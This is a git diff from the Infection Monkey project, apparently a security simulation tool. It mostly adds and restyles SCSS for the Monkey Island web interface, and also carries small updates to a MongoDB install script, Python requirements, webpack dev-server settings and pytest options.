b/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss index 3dc1fe9a5..cd1297f54 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss @@ -18,12 +18,14 @@ padding-bottom: 5px; } -.advanced-multi-select .card-header button { - padding-top: 0; +.advanced-multi-select .card-header .master-checkbox span { + padding-bottom: 0.188rem; } .advanced-multi-select .card-header .header-title { font-size: 1.2em; + display: inline-block; + vertical-align: middle; } .advanced-multi-select .choice-block .form-group { diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Buttons.scss b/monkey/monkey_island/cc/ui/src/styles/components/Buttons.scss new file mode 100644 index 000000000..39b37990c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/Buttons.scss @@ -0,0 +1,23 @@ +.monkey-submit-button { + border-color: #3f3f3f; + font-size: 1.3em; + width: 100%; + background-color: #3f3f3f; + color: $monkey-yellow; +} + +.monkey-submit-button:hover { + border-color: $monkey-yellow; + font-size: 1.3em; + font-weight: bold; + width: 100%; + background-color: $monkey-yellow; + color: #000000; +} + +a.inline-link { + position: relative; + top: -1px; + margin: 0; + padding: 0; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss b/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss index b74088a77..369c93685 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss @@ -1,10 +1,11 @@ $transition: 300ms cubic-bezier(0.6, 0.3, 0.3, 0.6); $danger-color: #ebbcba; -$disabled-color: #f4f4f4; +$disabled-color: #f2f2f2; $info-color: #ade3eb; -$default-color: #cbcbcb; +$default-color: #8c8c8c; $warning-color: #ffe28d; +$success-color: #adf6a9; .collapse-item button { font-size: inherit; @@ -39,6 +40,10 @@ $warning-color: #ffe28d; } } +.collapse-success { + background-color: $success-color !important; +} + .collapse-danger { background-color: $danger-color !important; } @@ -53,6 +58,7 @@ $warning-color: #ffe28d; .collapse-default { background-color: $default-color !important; + color: #ffffff; } .collapse-disabled { @@ -98,3 +104,7 @@ $warning-color: #ffe28d; display: inline-block; min-width: 6em; } + +.rule-collapse svg{ + margin-right: 10px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss new file mode 100644 index 000000000..2da5087b6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss @@ -0,0 +1,28 @@ +.loading-icon { + color: $monkey-yellow; + font-size: 20px; + margin-left: 50%; + margin-right: 50%; +} + +.spinning-icon { + animation: spin-animation 0.5s infinite; + display: inline-block; +} + +.icon-success { + color: $success +} + +.icon-failed { + color: $danger; +} + +@keyframes spin-animation { + 0% { + transform: rotate(0deg); + } + 100% { + transform: rotate(359deg); + } +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/ImageModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/ImageModal.scss new file mode 100644 index 000000000..bfe630b5f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/ImageModal.scss @@ -0,0 +1,49 @@ +.image-modal .image-modal-thumbnail { + position: relative; + padding: 7px; +} + +.image-modal .image-modal-thumbnail:focus { + background-color: white; + border-color: white; + box-shadow: 0 2px 6px #ccc; +} + +.image-modal .image-modal-thumbnail:hover { + background-color: white; + border-color: white; + box-shadow: 0 2px 6px #ccc; +} + +.image-modal .image-modal-thumbnail-icon { + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + -moz-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + position: absolute; + min-width: 40px; + min-height: 40px; +} + +.image-modal:hover .image-modal-thumbnail-icon { + color: $monkey-yellow; +} + +.image-modal-screen { + padding: 0; +} + +.image-modal-screen .modal-dialog { + margin: 0; + top: 0; + width: 100%; + padding: 30px; + max-width: none; + max-height: none; +} + +.image-modal-screen .modal-dialog .modal-content { + width: fit-content; + margin: auto; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss index 8c61d873f..976246cb6 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss @@ -27,3 +27,14 @@ margin: 10px 15px; padding: 0; } + +.info-pane-warning { + margin-top: 1em; + display: flex; +} + +.info-pane-warning .warning-icon { + margin-top: .188em; + margin-left: 0em; + margin-right: .75em; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/LoadingScreen.scss b/monkey/monkey_island/cc/ui/src/styles/components/LoadingScreen.scss new file mode 100644 index 000000000..70b07525c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/LoadingScreen.scss @@ -0,0 +1,29 @@ +.loading-screen { + height: 100%; +} + +.loading-screen div.loading-component { + position: absolute; + top: 50%; + left: 50%; + margin-right: -50%; + transform: translate(-50%, -50%); + padding: 10px; + text-align: center; + border-radius: 5px; +} + +.loading-screen div.loading-component .loading-image img { + border: 5px solid #363536; + border-radius: 70px; +} + +.loading-screen div.loading-component .loading-text { + margin-top: 15px; + text-align: center; + font-weight: bold; + background: #ffcc00; + padding: 0 5px 0 5px; + border-radius: 5px; + font-size: 1.2em; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Map.scss b/monkey/monkey_island/cc/ui/src/styles/components/Map.scss index f6d8ed192..ebeb7c687 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/Map.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/Map.scss @@ -1,3 +1,48 @@ +.map-legend { + font-size: 18px; +} + .map-window { position: relative; } + +.telemetry-console { + z-index: 2; + position: absolute; + bottom: 0; + left: 0; + right: 0; + height: 130px; + background: rgba(0, 0, 0, 0.7); + border-radius: 5px; + border: 3px solid #aaa; + padding: 0.5em; + color: white; + font-family: Consolas, "Courier New", monospace; + overflow: auto; +} + +.telemetry-console .date { + color: #ccc; +} + +.telemetry-console .source { + font-weight: bold; +} + +.telemetry-lines { + z-index: 3; + position: absolute; + bottom: 103px; + right: 20px; + background: #000000cc; + border-radius: 5px; + padding: 1px; + color: white; +} + +.net-graph-wrapper { + height: calc(100% - 130px); + width: 100%; + padding-bottom: 10px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/RunOnIslandButton.scss b/monkey/monkey_island/cc/ui/src/styles/components/RunOnIslandButton.scss new file mode 100644 index 000000000..e13c0e8a4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/RunOnIslandButton.scss @@ -0,0 +1,7 @@ +.monkey-on-island-run-state-icon { + display: inline-block; + position: absolute; + right: 23px; + top: 28%; + font-size: 1.1em; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/BackButton.scss b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/BackButton.scss new file mode 100644 index 000000000..6e0767555 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/BackButton.scss @@ -0,0 +1,20 @@ +.inline-selection-component .back-button { + width: 100%; + text-align: center; +} + +.inline-selection-component .back-button h1{ + font-size: 1.3em; + margin-top: 5px; + margin-bottom: 5px; + text-align: left; + display: inline-block; +} + +.inline-selection-component .back-button svg{ + font-size: 1.5em; + display: inline-block; + margin-right: 10px; + position: relative; + top: 1px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/CommandDisplay.scss b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/CommandDisplay.scss new file mode 100644 index 000000000..ebec04e20 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/CommandDisplay.scss @@ -0,0 +1,21 @@ +.command-display { + margin-top: 30px; +} + +.command-display .nav-tabs .nav-item a{ + font-size: 0.8em; + color: $monkey-black; +} + +.command-display .nav-tabs .nav-item a.active{ + color: $monkey-alt; +} + +.command-display .nav-tabs{ + border-bottom: none; +} + +.command-display div.card{ + margin: 0; + border-top-left-radius: 0; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/InlineSelection.scss b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/InlineSelection.scss new file mode 100644 index 000000000..c66ccbd6d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/InlineSelection.scss @@ -0,0 +1,17 @@ +.inline-selection-component.container{ + padding: 0; + margin-left: 15px; +} + +.inline-selection-component .selection-button { + width: 100%; +} + +.inline-selection-component .dropdown { + display: inline-block; + margin-right: 10px; +} + +.inline-selection-component .command-display { + margin-bottom: 20px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/NextSelectionButton.scss b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/NextSelectionButton.scss new file mode 100644 index 000000000..71bac3053 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/inline-selection/NextSelectionButton.scss @@ -0,0 +1,34 @@ +.inline-selection-component .selection-button { + width: 100%; + text-align: left; + margin-bottom: 20px; + padding-right: 40px; +} + +.inline-selection-component .selection-button svg, +.inline-selection-component .selection-button h1 { + display: inline-block; +} + +.inline-selection-component .selection-button h1 { + margin: 0; + font-size: 1.3em; +} + +.inline-selection-component .selection-button p { + margin: 0; + font-size: 0.8em; +} + +.inline-selection-component .selection-button svg { + margin-bottom: 1px; + margin-right: 7px; +} + +.inline-selection-component .selection-button .angle-right { + display: inline-block; + position: absolute; + right: 23px; + top: 22%; + font-size: 1.7em; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss new file mode 100644 index 000000000..0aeec94b2 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss @@ -0,0 +1,9 @@ +.particle-background { + position: absolute; + top: 0; + left: 0; + z-index: -100; + width: 100%; + height: 100%; + background-color: $gray-300; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/AuthPageParams.js b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/styles/components/particle-component/AuthPageParams.js rename to monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackgroundParams.js diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss new file mode 100644 index 000000000..8be9d1956 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss @@ -0,0 +1,86 @@ +.aws-scoutsuite-configuration a { + display: inline-block; + padding: 0 0 3px 0; +} + +.aws-scoutsuite-configuration ol { + padding-left: 15px; + margin-bottom: 30px; +} + +.aws-scoutsuite-configuration ol.nested-ol { + margin-bottom: 0; +} + +.aws-scoutsuite-configuration li { + margin-bottom: 0; +} + +.aws-scoutsuite-configuration h2 { + margin-bottom: 20px; +} + +.aws-scoutsuite-configuration p { + margin-bottom: 5px; +} + +.aws-scoutsuite-configuration .cli-link { + padding: 0 0 4px 0; +} + +.monkey-submit-button { + margin-bottom: 15px; +} + +.aws-scoutsuite-key-configuration .collapse-item { + padding: 0; + margin-bottom: 15px; +} + +.aws-scoutsuite-key-configuration .collapse-item .btn-collapse .question-icon { + display: inline-block; + margin-right: 7px; + margin-bottom: 1px; +} + +.aws-scoutsuite-key-configuration .collapse-item .btn-collapse p { + display: inline-block; + margin-bottom: 0; + font-size: 1.2em; + margin-left: 5px +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial { + padding-bottom: 10px; +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial p { + margin-bottom: 2px; + font-weight: 400; +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial h5 { + margin-top: 15px; + font-weight: 600; +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial p:first-child { + margin-top: 15px; +} + +.aws-scoutsuite-key-configuration .image-modal { + margin-top: 5px; +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial img { + max-width: 100%; + max-height: 100%; + border: 1px solid black; +} + +.link-in-success-message { + padding: 0 !important; + vertical-align: initial !important; +} + + diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss new file mode 100644 index 000000000..e09ad922c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss @@ -0,0 +1,21 @@ +.resource-display { + margin-top: 10px; +} + +.resource-display .resource-value-json { + background-color: $gray-200; + padding: 4px; +} + +.resource-display .resource-path-contents svg { + margin-left: 5px; + margin-right: 5px; + width: 10px; +} + +.resource-display .resource-value-title, +.resource-display .resource-path-title { + margin-right:5px; + font-weight: 500; + margin-bottom: 0; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss new file mode 100644 index 000000000..703e27370 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss @@ -0,0 +1,21 @@ +.scoutsuite-rule-display .description h3{ + font-size: 1.2em; + margin-top: 10px; +} + +.scoutsuite-rule-display p{ + display: inline-block; +} + +.scoutsuite-rule-display .checked-resources-title, +.scoutsuite-rule-display .flagged-resources-title, +.scoutsuite-rule-display .reference-list-title{ + font-weight: 500; + margin-right: 5px; + margin-bottom: 0; +} + +.scoutsuite-rule-display .reference-list a { + display: block; + margin-left: 10px; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss new file mode 100644 index 000000000..970f0422a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss @@ -0,0 +1,9 @@ +.scoutsuite-rule-modal .modal-dialog { + max-width: 1000px; + top: 0; + padding: 30px; +} + +.collapse-item.rule-collapse button > span:nth-child(2) { + flex: 1 +} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss index edca2cfb1..e3ecbd0e6 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss @@ -15,37 +15,10 @@ margin-top: 20px; } -#auth-button { - border-color: #3f3f3f; - font-size: 1.3em; - width: 100%; - background-color: #3f3f3f; - color: $monkey-yellow; -} - -#auth-button:hover { - border-color: $monkey-yellow; - font-size: 1.3em; - font-weight: bold; - width: 100%; - background-color: $monkey-yellow; - color: #000000; -} - .monkey-detective { max-height: 500px; } -.particle-background { - position: absolute; - top: 0; - left: 0; - z-index: -100; - width: 100%; - height: 100%; - background-color: $gray-300; -} - .auth-block { padding: 10px; background-color: rgba(255, 255, 255, 0.89); diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss index e5c6c08bc..18e09d37b 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss @@ -57,3 +57,8 @@ white-space: pre-wrap; } +.warning-icon { + text-transform: uppercase; + color: #FFC107; + margin-left: .75em; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/MonkeyRunPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/MonkeyRunPage.scss index 56f6cdb15..5114d0e21 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/MonkeyRunPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/MonkeyRunPage.scss @@ -14,3 +14,8 @@ div.run-on-os-buttons > .nav-item > .nav-link:hover{ color: $monkey-white; background-color: $monkey-alt; } + +.aws-run-button-container { + margin-top: 2em; + text-align: center; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportAttackMatrix.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportAttackMatrix.scss index 7cfa62157..edacf9672 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportAttackMatrix.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportAttackMatrix.scss @@ -1,13 +1,13 @@ // colors -$disabled: #f4f4f4; -$not-attempted: #cbcbcb; +$disabled: #f2f2f2; +$not-attempted: #8c8c8c; $attempted: #ffe28d; $used: #ebbcba; $black: #3a3a3a; .attack-matrix .status-0 { background-color: $not-attempted !important; - color: $black; + color: #ffffff; } .attack-matrix .status-1 { @@ -23,6 +23,7 @@ $black: #3a3a3a; .attack-matrix .status-3 { background-color: $disabled !important; color: $black; + text-decoration: line-through; } .attack-matrix div.rt-td:hover { diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss index 5fb8252fe..520e04e1d 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss @@ -7,15 +7,15 @@ font-size: large; } -.report-nav > li > a{ +.report-nav > li > a { height: 50px !important; } -.report-nav .nav-item > a{ +.report-nav .nav-item > a { color: $black; } -.report-nav .nav-item > a.active{ +.report-nav .nav-item > a.active { font-weight: bold; color: $black; } @@ -72,7 +72,29 @@ div.report-wrapper { padding-bottom: 20px; } -div.report-wrapper .nav-tabs > .nav-item > a:hover:not(.active), .nav-tabs > .nav-item > a:focus:not(.active){ - text-decoration: none; - background-color: $light-gray; +div.report-wrapper .nav-tabs > .nav-item > a:hover:not(.active), .nav-tabs > .nav-item > a:focus:not(.active) { + text-decoration: none; + background-color: $light-gray; +} + +ul.cross-segment-issues { + list-style-type: none; + padding: 0px; + margin: 0px; +} + +span.cross-segment-service { + text-transform: uppercase; +} + +.report-page li a.btn,.security-report-link { + position: relative; + font-size: 1em; + padding: 0 5px; + line-height: 1em; + top: -3px; +} + +.zero-logon-overview-pass-restore-failed svg { + margin: 0 10px 0 0; } diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index 08c2a77f3..b1d8b5218 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -71,10 +71,12 @@ module.exports = { publicPath: '/' }, devServer: { + host: '0.0.0.0', proxy: { '/api': { target: 'https://localhost:5000', - secure: false + secure: false, + changeOrigin: true } } } diff --git a/monkey/monkey_island/linux/install_mongo.sh b/monkey/monkey_island/linux/install_mongo.sh index 7435e35b5..2bf2d43d4 100755 --- a/monkey/monkey_island/linux/install_mongo.sh +++ b/monkey/monkey_island/linux/install_mongo.sh @@ -17,6 +17,9 @@ elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]]; then elif [[ ${os_version_monkey} == "Ubuntu 19.10"* ]]; then echo Detected Ubuntu 19.10 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.2.3.tgz" +elif [[ ${os_version_monkey} == "Ubuntu 20.04"* ]]; then + echo Detected Ubuntu 20.04 + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu2004-4.4.0.tgz" elif [[ ${os_version_monkey} == "Debian GNU/Linux 9"* ]]; then echo Detected Debian 9 export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-4.2.3.tgz" diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 08049006b..b5be47a88 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -2,28 +2,30 @@ Flask-JWT-Extended==3.24.1 Flask-Pymongo>=2.3.0 Flask-Restful>=0.3.8 PyInstaller==3.6 -awscli>=1.18 -boto3>=1.14 -botocore>=1.17.18,<1.18.0 +awscli==1.18.131 +boto3==1.14.54 +botocore==1.17.54 cffi>=1.8,!=1.11.3 dpath>=2.0 flask>=1.1 +gevent>=20.9.0 ipaddress>=1.0.23 jsonschema==3.2.0 -mongoengine>=0.20 +mongoengine==0.20 mongomock==3.19.0 netifaces>=0.10.9 pycryptodome==3.9.8 pytest>=5.4 python-dateutil>=2.1,<3.0.0 requests>=2.24 +requests-mock==1.8.0 ring>=0.7.3 stix2>=2.0.2 six>=1.13.0 -tornado>=6.0.4 tqdm>=4.47 virtualenv>=20.0.26 werkzeug>=1.0.1 wheel>=0.34.2 +git+https://github.com/guardicode/ScoutSuite -pyjwt>=1.5.1 # not directly required, pinned by Snyk to avoid a vulnerability \ No newline at end of file +pyjwt==1.7 # not directly required, pinned by Snyk to avoid a vulnerability diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py index 9791ca386..61212e734 100644 --- a/monkey/monkey_island/scripts/island_password_hasher.py +++ b/monkey/monkey_island/scripts/island_password_hasher.py @@ -7,7 +7,9 @@ for more details. import argparse -from Crypto.Hash import SHA3_512 +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but +# is maintained. +from Crypto.Hash import SHA3_512 # noqa: DUO133 # nosec: B413 def main(): diff --git a/monkey/pytest.ini b/monkey/pytest.ini index 3596bf5f6..9b1766fc2 100644 --- a/monkey/pytest.ini +++ b/monkey/pytest.ini @@ -3,5 +3,5 @@ log_cli = 1 log_cli_level = DEBUG log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s log_cli_date_format=%H:%M:%S -addopts = -v --capture=sys +addopts = -v --capture=sys --ignore=common/cloud/scoutsuite norecursedirs = node_modules dist